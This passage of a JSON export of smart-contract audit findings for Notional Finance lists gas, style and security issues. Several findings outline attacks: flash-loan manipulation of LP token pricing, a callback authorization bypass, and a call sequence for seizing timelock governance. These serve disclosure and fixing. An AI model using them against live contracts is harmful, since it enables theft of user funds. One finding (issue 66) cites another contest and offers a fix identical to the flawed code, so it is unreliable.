0\"); require(updateTime != 0, \"Incomplete round\"); require(answeredInRound >= roundId, \"Stale price\"); ``` More information: https://docs.chain.link/docs/faq/#how-can-i-check-if-the-answer-to-a-round-is-being-carried-over-from-a-previous-round "}, {"title": "Replacing the assembly `extcodesize` checks for versions `>0.8.1`", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/91", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Replacing the assembly `extcodesize` checks for versions `>0.8.1`"}, {"title": "Used a fixed or pragma that spans only a single `0.x.*`", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/90", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Used a fixed or pragma that spans only a single `0.x.*` Currently, the pragma `>0.7.0` is used in several contracts. However, since 0.7.0 and 0.8.0 has breaking changes, especially the safemath by default, the contracts could be semantically different when compiled via `0.7.*` and `0.8.*`. "}, {"title": "Consider using assembly instead of the lengthy if statement in Router.sol", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/89", "labels": ["bug", "invalid", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Consider using assembly instead of the lengthy if statement in Router.sol"}, {"title": "Caching length in for loops", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/88", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Caching length in for loops Consider a generic example of an array `arr` and the following loop: ``` solidity for (uint i = 0; i < arr.length; i++) { // do something that doesn't change arr.length } ``` In the above case, the solidity compiler will always read the length of the array during each iteration. That is, if it is a storage array, this is an extra `sload` operation (100 additional extra gas for each iteration except for the first) and if it is a memory array, this is an extra `mload` operation (3 additional gas for each iteration except for the first). This extra costs can be avoided by caching the array length (in stack): ``` solidity uint length = arr.length; for (uint i = 0; i < length; i++) { // do something that doesn't change arr.length } ``` In the above example, the `sload` or `mload` operation is only done once and subsequently replaced by a cheap `dupN` instruction. This optimization is especially important if it is a storage array or if it is a lengthy for loop. Note that the Yul based optimizer (not enabled by default; only relevant if you are using `--experimental-via-ir` or the equivalent in standard JSON) can sometimes do this caching automatically. However, this is likely not the case in your project. ### Examples Here are some examples where this can be applied (found using a simple grep) ``` txt ./contracts/external/Views.sol:187: for (uint256 i = 0; i < cashGroup.maxMarketIndex; i++) { ./contracts/external/actions/BatchAction.sol:42: for (uint256 i; i < actions.length; i++) { ./contracts/external/actions/BatchAction.sol:120: for (uint256 i; i < actions.length; i++) { ./contracts/external/actions/ERC1155Action.sol:62: for (uint256 i; i < accounts.length; i++) { ./contracts/external/actions/ERC1155Action.sol:91: for (uint256 i; i < portfolio.length; i++) { ./contracts/external/actions/ERC1155Action.sol:240: for (uint256 i; i < ids.length; i++) { ./contracts/external/actions/InitializeMarketsAction.sol:121: for (uint256 i = 1; i < nToken.portfolioState.storedAssets.length; i++) { ./contracts/external/actions/InitializeMarketsAction.sol:146: for (uint256 i = 1; i < nToken.portfolioState.storedAssets.length; i++) { ./contracts/external/actions/InitializeMarketsAction.sol:537: for (uint256 i; i < nToken.cashGroup.maxMarketIndex; i++) { ./contracts/external/actions/TradingAction.sol:81: for (uint256 i; i < trades.length; i++) { ./contracts/external/actions/TradingAction.sol:123: for (uint256 i; i < trades.length; i++) { ./contracts/external/actions/nTokenMintAction.sol:110: for (uint256 marketIndex = nToken.cashGroup.maxMarketIndex; marketIndex > 0; marketIndex--) { ./contracts/external/actions/nTokenRedeemAction.sol:138: for (uint256 i; i < markets.length; i++) { ./contracts/external/actions/nTokenRedeemAction.sol:222: for (uint256 i; i < nToken.portfolioState.storedAssets.length; i++) { ./contracts/external/actions/nTokenRedeemAction.sol:265: for (uint256 i; i < markets.length; i++) { ./contracts/external/adapters/CompoundToNotionalV2.sol:81: for (uint256 i; i < notionalV2CollateralIds.length; i++) { ./contracts/external/governance/NoteERC20.sol:98: for (uint256 i = 0; i < initialGrantAmount.length; i++) { ./contracts/internal/balances/BalanceHandler.sol:300: for (uint256 i; i < settleAmounts.length; i++) { ./contracts/internal/liquidation/LiquidateCurrency.sol:31: for (uint256 i; i < portfolio.length; i++) { ./contracts/internal/liquidation/LiquidateCurrency.sol:345: for (uint256 i; i < portfolioState.storedAssets.length; i++) { ./contracts/internal/liquidation/LiquidateCurrency.sol:449: for (uint256 i; i < portfolioState.storedAssets.length; i++) { ./contracts/internal/liquidation/LiquidateCurrency.sol:528: for (uint256 i; i < markets.length; i++) { ./contracts/internal/liquidation/LiquidatefCash.sol:77: for (uint256 i; i < portfolio.length; i++) { ./contracts/internal/liquidation/LiquidatefCash.sol:131: for (uint256 i; i < fCashMaturities.length; i++) { ./contracts/internal/liquidation/LiquidatefCash.sol:232: for (uint256 i; i < fCashMaturities.length; i++) { ./contracts/internal/liquidation/LiquidatefCash.sol:495: for (uint256 i; i < assets.length; i++) { ./contracts/internal/markets/CashGroup.sol:297: for (uint256 i; i < cashGroup.liquidityTokenHaircuts.length; i++) { ./contracts/internal/markets/CashGroup.sol:309: for (uint256 i; i < cashGroup.rateScalars.length; i++) { ./contracts/internal/nTokenHandler.sol:279: for (uint256 i; i < depositShares.length; i++) { ./contracts/internal/nTokenHandler.sol:306: for (uint256 i; i < proportions.length; i++) { ./contracts/internal/nTokenHandler.sol:371: for (; i < array1.length; i++) { ./contracts/internal/nTokenHandler.sol:494: for (uint256 i; i < nToken.portfolioState.storedAssets.length; i++) { ./contracts/internal/portfolio/BitmapAssetsHandler.sol:96: for (uint256 i; i < assets.length; i++) { ./contracts/internal/portfolio/PortfolioHandler.sol:20: for (uint256 i; i < assets.length; i++) { ./contracts/internal/portfolio/PortfolioHandler.sol:40: for (uint256 i; i < assetArray.length; i++) { ./contracts/internal/portfolio/PortfolioHandler.sol:129: for (uint256 i; i < newAssets.length; i++) { ./contracts/internal/portfolio/PortfolioHandler.sol:161: for (uint256 i; i < portfolioState.storedAssets.length; i++) { ./contracts/internal/portfolio/PortfolioHandler.sol:171: for (uint256 i; i < portfolioState.storedAssets.length; i++) { ./contracts/internal/portfolio/PortfolioHandler.sol:202: for (uint256 i; i < portfolioState.newAssets.length; i++) { ./contracts/internal/portfolio/PortfolioHandler.sol:283: for (uint256 i; i < portfolioState.storedAssets.length; i++) { ./contracts/internal/portfolio/TransferAssets.sol:47: for (uint256 i; i < assets.length; i++) { ./contracts/internal/settlement/SettlePortfolioAssets.sol:32: for (uint256 i = portfolioState.storedAssets.length; (i--) > 0;) { ./contracts/internal/settlement/SettlePortfolioAssets.sol:137: for (uint256 i; i < portfolioState.storedAssets.length; i++) { ./contracts/internal/valuation/AssetHandler.sol:231: for (uint256 i = portfolioIndex; i < assets.length; i++) { ./contracts/internal/valuation/AssetHandler.sol:250: for (; j < assets.length; j++) { ./contracts/mocks/BaseMockLiquidation.sol:52: for (uint256 i = 0; i < cashGroup.maxMarketIndex; i++) { ./contracts/mocks/BaseMockLiquidation.sol:72: for (uint256 i; i < portfolioState.storedAssets.length; i++) { ./contracts/mocks/MockFlashLender.sol:30: for (uint256 i; i < assets.length; i++) { ./contracts/mocks/MockFlashLender.sol:39: for (uint256 i; i < assets.length; i++) { ``` "}, {"title": "Upgrade to at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Upgrade to at least 0.8.4"}, {"title": "Liquidator can be liquidatee", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/86", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Liquidator can be liquidatee"}, {"title": "Liquidity token value can be manipulated", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/85", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The liquidity token value (`AssetHandler.getLiquidityTokenValue`) is the sum of the value of the individual claims on cash (underlying or rather cTokens) and fCash. The amount to redeem on each of these is computed as the LP token to redeem relative to the total LP tokens, see `AssetHandler.getCashClaims` / `AssetHandler.getHaircutCashClaims`: ```solidity // @audit token.notional are the LP tokens to redeem assetCash = market.totalAssetCash.mul(token.notional).div(market.totalLiquidity); fCash = market.totalfCash.mul(token.notional).div(market.totalLiquidity); ``` This means the value depends on the **current market reserves** which can be manipulated. You're essentially computing a spot price (even though the individual values use a TWAP price) because you use the current market reserves which can be manipulated. See the \"How do I tell if I\u2019m using spot price?\" section on [https://shouldiusespotpriceasmyoracle.com/](https://shouldiusespotpriceasmyoracle.com/). > However, by doing this you\u2019re actually incorporating the spot price because you\u2019re still dependent on the reserve balances of the pool. This is an extremely subtle detail, and more than one project has been caught by it. You can read more about this [footgun](https://cmichel.io/pricing-lp-tokens/) in this writeup by @cmichelio. ## Impact The value of an LP token is computed as `assetCashClaim + assetRate.convertFromUnderlying( presentValue(fCashClaim) )` where `(assetCashClaim, fCashClaim)` depend on the current market reserves which can be manipulated by an attacker via flashloans. Therefore, an attacker trading large amounts in the market either increases or decreases the value of an LP token. If the value decreases, they can try to liquidate users borrowing against their LP tokens / nTokens. If the value increases, they can borrow against it and potentially receive an under-collateralized borrow this way, making a profit. The exact profitability of such an attack depends on the AMM as the initial reserve manipulation and restoring the reserves later incurs fees and slippage. In constant-product AMMs like Uniswap it's profitable and several projects have already been exploited by this, like [warp.finance](https://cmichel.io/pricing-lp-tokens/). However, Notional Finance uses a more complicated AMM and the contest was too short for me to do a more thorough analysis. It seems like a similar attack could be possible here as described by the developers when talking about a different context of using TWAP oracles: > \"Oracle rate protects against short term price manipulation. Time window will be set to a value on the order of minutes to hours. This is to protect fCash valuations from market manipulation. For example, a trader could use a flash loan to dump a large amount of cash into the market and depress interest rates. Since we value fCash in portfolios based on these rates, portfolio values will decrease and they may then be liquidated.\" - Market.sol L424 ## Recommendation Do not use the current market reserves to determine the value of LP tokens. Think about how to implement a TWAP oracle for the LP tokens themselves, instead of combining it from the two TWAPs of the claimables. "}, {"title": "Use of `msg.value` in batch action", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/84", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Use of `msg.value` in batch action"}, {"title": "ChainLink price data could be stale", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/83", "labels": ["bug", "duplicate", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-08-notional-findings", "body": "ChainLink price data could be stale"}, {"title": "`DateTime.getMarketIndex` bounds should be tighter", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/82", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details `DateTime.getMarketIndex` can be called with a `maxMarketIndex < 10` but the inner `DateTime.getTradedMarket(i)` function will revert for any values `i > 7`. ## Impact \"Valid\" `maxMarketIndex` values above 7 will break and return with an error. ## Recommended Mitigation Steps The upper bound on `maxMarketIndex` should be set to `7`. "}, {"title": "`DateTime.isValidMarketMaturity` bounds should be tighter", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/81", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details `DateTime.isValidMarketMaturity` can be called with a `maxMarketIndex < 10` but the inner `DateTime.getTradedMarket(i)` function will revert for any values `i > 7`. ## Impact \"Valid\" `maxMarketIndex` values above 7 will break and return with an error. ## Recommended Mitigation Steps The upper bound on `maxMarketIndex` should be set to `7`. "}, {"title": "`TokenHandler.safeTransferIn` does not work on non-standard compliant tokens like USDT", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/80", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `TokenHandler.safeTransferIn` function uses the standard `IERC20` function for the transfer call and proceeds with a `checkReturnCode` function to handle non-standard compliant tokens that don't return a return value. However, this does not work as calling `token.transferFrom(account, amount)` already reverts if the token does not return a return value, as `token`'s `IERC20.transferFrom` is defined to always return a `boolean`. ## Impact When using any non-standard compliant token like USDT, the function will revert. Withdrawals for these tokens are broken, which is bad as `USDT` is a valid underlying for the `cUSDT` cToken. ## Recommended Mitigation Steps We recommend using [OpenZeppelin\u2019s `SafeERC20`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.1/contracts/token/ERC20/utils/SafeERC20.sol#L74) versions with the `safeApprove` function that handles the return value check as well as non-standard-compliant tokens. "}, {"title": "`TokenHandler.safeTransferOut` does not work on non-standard compliant tokens like USDT", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/79", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `TokenHandler.safeTransferOut` function uses the standard `IERC20` function for the transfer call and proceeds with a `checkReturnCode` function to handle non-standard compliant tokens that don't return a return value. However, this does not work as calling `token.transfer(account, amount)` already reverts if the token does not return a return value, as `token`'s `IERC20.transfer` is defined to always return a `boolean`. ## Impact When using any non-standard compliant token like USDT, the function will revert. Deposits for these tokens are broken, which is bad as `USDT` is a valid underlying for the `cUSDT` cToken. ## Recommended Mitigation Steps We recommend using [OpenZeppelin\u2019s `SafeERC20`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.1/contracts/token/ERC20/utils/SafeERC20.sol#L74) versions with the `safeApprove` function that handles the return value check as well as non-standard-compliant tokens. "}, {"title": "`TokenHandler.transfer` wrong branch order", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/78", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `TokenHandler.transfer` should handle the `if (token.tokenType == TokenType.Ether)` case first, as if the token type is `Ether` but `netTransferExternal <= 0` it treats the token as an `ERC20` token and tries to call `ERC20` functions on it. ## Impact Luckily, trying to call ERC20 functions on the invalid token address will revert which is the desired behavior. ## Recommended Mitigation Steps We still recommend reordering the branches and adding a `netTransferExternal <= 0` check. The code becomes cleaner and it's more obvious that the transaction will fail. "}, {"title": "`TokenHandler.setToken` ERC20 missing return value check", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/77", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `setToken` function performs an `ERC20.approve()` call but does not check the `success` return value. Some tokens do **not** revert if the approval failed but return `false` instead. ## Impact Tokens that don't actually perform the approve and return `false` are still counted as a correct approve. ## Recommended Mitigation Steps We recommend using [OpenZeppelin\u2019s `SafeERC20`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.1/contracts/token/ERC20/utils/SafeERC20.sol#L74) versions with the `safeApprove` function that handles the return value check as well as non-standard-compliant tokens. "}, {"title": "NoteERC20.getPriorVotes includes current unclaimed incentives", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/76", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `NoteERC20.getPriorVotes` function is supposed to return the voting strength of an account at a specific block in the past. This should be a static value but it directly includes the _current_ unclaimed incentives due to the `getUnclaimedVotes(account)` call. ## Impact Users that didn't even have tokens at the time of proposal creation but are now interested in voting on the proposal can farm unclaimed incentives and impact the outcome of the proposal. ## Recommended Mitigation Steps Adding checkpoints for all unclaimed incentives would be the correct solution but was probably not done because it'd cost too much gas. It also needs to be ensured that incentives cannot be increased through flash-loaning of assets. "}, {"title": "NoteERC20 _authorizeUpgrade not implemented", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/75", "labels": ["bug", "invalid", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "NoteERC20 _authorizeUpgrade not implemented"}, {"title": "NoteERC20 missing initial ownership event", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/74", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `NoteERC20.initialize` function does not emit an initial `OwnershipTransferred` event. ## Recommended Mitigation Steps In `initialize`, emit `OwnershipTransferred(address(0), owner_)`. "}, {"title": "Governor average block time is not up-to-date", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/73", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `GovernorAlpha.MIN_VOTING_PERIOD_BLOCKS = 6700` value indicates an average block time of 12.8956s which was correct a year ago, but at the moment a more accurate block time would be 13.2s, see [blocktime](https://etherscan.io/chart/blocktime). ## Recommended Mitigation Steps Use a `MIN_VOTING_PERIOD_BLOCKS` of `6545`. "}, {"title": "nTokenERC20Proxy emits events even when not success", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/72", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `nTokenERC20Proxy` functions emit events all the time, even if the return value from the inner call returns `false` indicating an unsuccessful action. ## Impact An off-chain script scanning for `Transfer` or `Approval` events can be tricked into believing that an unsuccessful transfer was indeed successful. This happens in the `approve`, `transfer` and `transferFrom` functions. ## Recommended Mitigation Steps Only emit evens on `success`. "}, {"title": "Access restrictions on `NotionalV1ToNotionalV2.notionalCallback` can be bypassed", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/71", "labels": ["bug", "3 (High Risk)"], "target": "2021-08-notional-findings", "body": "Access restrictions on `NotionalV1ToNotionalV2.notionalCallback` can be bypassed"}, {"title": "Unclear decimals value in `cTokenAggregator`", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/70", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `cTokenAggregator.decimals` value is set to `18` but `cTokens` only have `8` decimals. It's unclear what this `decimals` field refers to. ## Recommended Mitigation Steps If it should refer to the `cToken` decimals, it's wrong and should be set to `8`. This value is not used inside the contract but it's `public` and anyone can read it. "}, {"title": "Access restrictions on `CompoundToNotionalV2.notionalCallback` can be bypassed", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/69", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `CompoundToNotionalV2.notionalCallback` is supposed to only be called from the verified contract that calls this callback but the access restrictions can be circumvented by simply providing `sender = this` as `sender` is a parameter of the function that can be chosen by the attacker. ```solidity function notionalCallback( address sender, address account, bytes calldata callbackData ) external returns (uint256) { // @audit sender can be passed in by the attacker require(sender == address(this), \"Unauthorized callback\"); ``` ## Impact An attacker can call the function passing in an arbitrary `account` whose tokens are then transferred to the contract. The `account` first has to approve this contract but this can happen with accounts that legitimately want to call the outer function and have to send a first transaction to approve the contract, but then an attacker frontruns the actual transaction. It's at least a griefing attack: I can pass in a malicious `cTokenBorrow` that returns any token of my choice (through the `.underlying()` call) but whose `repayBorrowBehalf` is a no-op. This will lead to any of the victim's approved tokens becoming stuck in the contract, essentially burning them: ```solidity // @audit using a malicious contract, this can be any token address underlyingToken = CTokenInterface(cTokenBorrow).underlying(); bool success = IERC20(underlyingToken).transferFrom(account, address(this), cTokenRepayAmount); require(success, \"Transfer of repayment failed\"); // Use the amount transferred to repay the borrow // @audit using a malicious contract, this can be a no-op uint code = CErc20Interface(cTokenBorrow).repayBorrowBehalf(account, cTokenRepayAmount); ``` Note that the assumption at the end of the function \"// When this exits a free collateral check will be triggered\" is not correct anymore but I couldn't find a way to make use of it to lead to an invalid account state. ## Recommended Mitigation Steps Fix the authorization check. "}, {"title": "`CompoundToNotionalV2.notionalCallback` ERC20 return values not checked", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/68", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details Some tokens (like USDT) don't correctly implement the EIP20 standard and their `transfer`/`transferFrom` function return `void` instead of a success boolean. Calling these functions with the correct EIP20 function signatures will always revert. See `CompoundToNotionalV2.notionalCallback`'s `IERC20(underlyingToken).transferFrom` call. ## Impact Tokens that don't correctly implement the latest EIP20 spec, like USDT, will be unusable in the protocol as they revert the transaction because of the missing return value. As there is a `cToken` with `USDT` as the underlying this issue directly applies to the protocol. ## Recommended Mitigation Steps We recommend using OpenZeppelin\u2019s `SafeERC20` versions with the `safeTransfer` and `safeTransferFrom` functions that handle the return value check as well as non-standard-compliant tokens. "}, {"title": "`CompoundToNotionalV2.enableToken` ERC20 missing return value check", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/67", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `enableToken` function performs an `ERC20.approve()` call but does not check the `success` return value. Some tokens do **not** revert if the approval failed but return `false` instead. ## Impact Tokens that don't actually perform the approve and return `false` are still counted as a correct approve. ## Recommended Mitigation Steps We recommend using [OpenZeppelin\u2019s `SafeERC20`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.1/contracts/token/ERC20/utils/SafeERC20.sol#L74) versions with the `safeApprove` function that handles the return value check as well as non-standard-compliant tokens. "}, {"title": "Allowance checks not correctly implemented", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/66", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle defsec # Vulnerability details ## Impact On the ERC20, There is a known problem named as Approve/TransferFrom race condition. On the transferFrom, allowance max check has not been added. ## Proof of Concept 1. Navigate to the following contract. https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/InsureDAOERC20.sol#L152 ``` function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { uint256 currentAllowance = _allowances[sender][_msgSender()]; if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } _transfer(sender, recipient, amount); return true; } ``` 2. Max Allowance check has not been added into the function. ERC20 standart (Openzeppelin) is not followed. ## Tools Used None ## Recommended Mitigation Steps Consider to use openzeppelin erc20 contract. The sample transferFrom function can be seen from below. ``` function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { uint256 currentAllowance = _allowances[sender][_msgSender()]; if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, \"ERC20: transfer amount exceeds allowance\"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } _transfer(sender, recipient, amount); return true; } ``` https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol#L161 "}, {"title": "`nTokenAction` does not emit Approval events", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/65", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "`nTokenAction` does not emit Approval events"}, {"title": "Router calls to `nTokenAction.nTokenTransferApprove` fail", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/64", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Router calls to `nTokenAction.nTokenTransferApprove` fail"}, {"title": "Open TODOs in `ERC1155Action`", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/63", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `ERC1155Action._checkPostTransferEvent` has open TODOs: ```solidity // TODO: retrieve revert string require(status, \"Call failed\"); ``` ## Impact Open TODOs can hint at programming or architectural errors that still need to be fixed. ## Recommended Mitigation Steps Resolve the TODO and bubble up the error. "}, {"title": "Untrusted externall call on `ERC1155Action.safeTransfer*`", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/62", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `ERC1155Action.safeTransferFrom` / `ERC1155Action.safeBatchTransferFrom` functions do not follow the [recommended re-entrancy protection guidelines](https://docs.soliditylang.org/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern) and allow a re-entrancy through the `onERC1155Received` while state still has to be written. ## Impact The re-entrancy doesn't seem to open any attacks currently as the re-entrancy call happens right at the beginning and no interesting variables are set yet. ## Recommended Mitigation Steps While no immediate re-entrancy issues could be found, it's better to add these checks, especially, as calling this function from another Notional finance function in the future might lead to unintended issues. "}, {"title": "ERC1155Action returns `false` on `supportsInterface` with the real ERC1155 interface", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/61", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details As the return value of `ERC1155.balanceOf` was changed to a signed integer, the `nERC1155Interface` does not implement the `ERC1155` interface and the `supportsInterface` call will return false if people call it with the actual `ERC1155` interface ID. ## Impact Not all users of the contract might care about the `balance` function and call `supportsInterface` with the original EIP1155 interface. The contract will still deny the ## Recommended Mitigation Steps It is indeed debatable if this contract should be considered implementing ERC1155 and what the correct return value of `supportsInterface(ERC1155.interface)` should be for compatibility. Users need to be aware that this contract is not standard compliant and the `supportsInterface` call will fail. "}, {"title": "Privilige escalation in ERC1155", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/60", "labels": ["bug", "invalid", "2 (Med Risk)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Privilige escalation in ERC1155"}, {"title": "`initialize` functions can be frontrun", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/59", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details The `initialize` function that initializes important contract state can be called by anyone. See: - `ERC20VestedMine.initialize` - `AuctionPool.initialize` - all contracts that extend `Permissions` ## Impact The attacker can initialize the contract before the legitimate deployer, hoping that the victim continues to use the same contract. In the best case for the victim, they notice it and have to redeploy their contract costing gas. ## Recommended Mitigation Steps Use the constructor to initialize non-proxied contracts. For initializing proxy contracts deploy contracts using a factory contract that immediately calls `initialize` after deployment or make sure to call it immediately after deployment and verify the transaction succeeded. "}, {"title": "DAO proposals can be executed by anyone due to vulnerable TimelockController", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/58", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `GovernorAlpha` inherits from a vulnerable `TimelockController`. This `TimelockController` allows an `EXECUTOR` role to escalate privileges and also gain the proposer role. See details on [OZ](https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-fg47-3c2x-m2wr) and the [fix here](https://github.com/OpenZeppelin/openzeppelin-contracts/compare/v4.3.0...v4.3.1). The bug is that `_executeBatch` checks if the proposal was scheduled only **after** the transactions have been executed. This allows inserting a call into the batch that schedules the batch itself, and the entire batch will succeed. As the custom `GovernorAlpha.executeProposal` function removed the original \"queued state check\" (`require(state(proposalId) == ProposalState.Queued`), the attack can be executed by anyone, even without the `EXEUCTOR_ROLE`. ## POC 1. Create a proposal using `propose`. The calldata will be explained in the next step. (This can be done by anyone passing the min `proposalThreshold`) 2. Call `executeProposal(proposalId, ...)` such that the following calls are made: ``` call-0: grantRole(TIME_LOCK_ADMIN, attackerContract) call-1: grantRole(EXECUTOR, attackerContract) call-2: grantRole(PROPOSER, attackerContract) call-3: updateDelay(0) // such that _afterCall \"isOperationReady(id): timestamp[id] = block.timestamp + minDelay (0) <= block.timestamp\" passes call-4: attackerContract.hello() // this calls timelock.schedule(args=[targets, values, datas, ...]) where args were previously already stored in contract. (this is necessary because id depends on this function's args and we may not be self-referential) // attackerContract is proposer & executor now and can directly call scheduleBatch & executeBatch without having to create a proposal ``` > \u2139\ufe0f I already talked to Jeff Wu about this and he created a test case for it confirming this finding ## Impact Anyone who can create a proposal can become Timelock admin (proposer & executor) and execute arbitrary transactions as the DAO-controlled `GovernorAlpha`. Note that this contract has severe privileges and an attacker can now do anything that previously required approval of the DAO. For example, they could update the `globalTransferOperator` and steal all tokens. ## Recommended Mitigation Steps We recommend updating the vulnerable contract to `TimelockController v3.4.2`. It currently uses `OpenZeppelin/openzeppelin-contracts@3.4.0-solc-0.7` "}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/57", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "Missing parameter validation"}, {"title": "Total supply dependency on decimals", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/56", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Total supply depends on the decimals. I think it makes sense to express totalSupply something like this to make it more readable and maintainable in case you will decide to change decimals: /// @notice EIP-20 token 